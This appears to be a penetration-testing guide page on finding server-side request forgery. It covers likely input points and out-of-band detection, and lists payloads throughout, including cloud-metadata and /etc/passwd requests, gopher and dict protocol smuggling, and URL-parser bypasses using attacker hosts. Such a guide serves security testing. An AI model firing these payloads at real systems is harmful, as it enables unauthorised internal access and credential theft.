Finding SSRF¶
Where to Look¶
High-Value Targets¶
- URL parameters (
url=,link=,src=,dest=,redirect=,uri=,path=,file=) - Webhook configurations
- File import from URL
- PDF generators (HTML to PDF - wkhtmltopdf, Puppeteer, TCPDF)
- Image/avatar from URL
- API integrations setup
- URL preview/unfurl features (Slack-style)
- Proxy/redirect endpoints
- Document converters
- Screenshot services
- Link unfurling (favicons, OpenGraph)
Often Overlooked¶
- XML external entity (XXE → SSRF)
- SVG file uploads with external references (
xlink:href) - RSS/Atom feed parsers
- OAuth callback URLs
- OpenID configuration URLs
- SAML metadata endpoints
- GraphQL queries with URL fields
- Git URLs (project import)
- Project import features
Headers to Test¶
X-Forwarded-For: http://127.0.0.1
X-Forwarded-Host: http://127.0.0.1
X-Original-URL: http://127.0.0.1
X-Rewrite-URL: http://127.0.0.1
Referer: http://127.0.0.1
Methodology¶
1. Identify URL Input Points¶
Look for any parameter accepting URLs:
?url=https://example.com
?src=https://example.com/image.png
?redirect=https://...
?callback=https://...
?webhookUrl=https://...
?importUrl=https://...
2. Test with External Server¶
First, confirm the server makes outbound requests:
Check for: - HTTP/DNS requests to your server - User-Agent and other headers - Request timing
Detection Tools: - Interactsh / Interactsh — OOB callback detection - Param Miner — Header/parameter discovery - DNS: webhook.site, requestbin.net, canarytokens.org
3. Test Internal Targets¶
# Localhost variations
?url=http://127.0.0.1
?url=http://localhost
?url=http://127.1
?url=http://0.0.0.0
?url=http://[::1]
# Cloud metadata
?url=http://169.254.169.254/latest/meta-data/
# Internal networks
?url=http://192.168.1.1
?url=http://10.0.0.1
?url=http://172.16.0.1
4. Identify Response Type¶
| Type | Behavior | Impact |
|---|---|---|
| Full response | See the entire response | High - can read internal data |
| Partial response | See status code or headers only | Medium - can port scan |
| Blind | No response visible | Low-Medium - need out-of-band |
| Time-based | Response time differs | Low - can infer open ports |
| Error-based | Different error messages | Low-Medium - can detect services |
Bypass Techniques (Quick Reference)¶
URL Parsing Confusion¶
# @ trick
http://evil.com#@trusted.com
http://trusted.com@evil.com
# Domain confusion
http://127.0.0.1.attacker.com
http://attacker.com%252f@trusted.com
# Backslash
http://attacker.com\.trusted.com
IP Address Formats¶
# Decimal
http://2130706433 # 127.0.0.1
# Hex
http://0x7f000001 # 127.0.0.1
# Octal
http://0177.0.0.1 # 127.0.0.1
# Mixed
http://127.1
http://127.0.1
DNS Rebinding¶
- Set up DNS that alternates between your IP and 127.0.0.1
- First request resolves to allowed IP
- Second request (from server) resolves to internal IP
Services: 1u.ms, rbndr.us, custom DNS
Protocol Smuggling¶
# Gopher (powerful!)
gopher://127.0.0.1:6379/_INFO
# File
file:///etc/passwd
# Dict
dict://127.0.0.1:11211/stats
Redirect-Based¶
Set up a redirect on your server:
Then:
Detection Tips¶
Caido¶
- Send all URL parameters to Collaborator
- Use automated scanner's SSRF checks
- Check for DNS vs HTTP interactions
Manual Testing¶
# Check if filtering is client-side or server-side
# Client-side: JavaScript validation, can bypass with Caido
# Check what protocols are allowed
http:// https:// file:// gopher:// dict://
# Check for partial matches
127.0.0.1 blocked? Try 127.0.0.2, 127.1, 2130706433
Found a request going out? Move to Exploitation.
Need bypass techniques? Check Bypasses.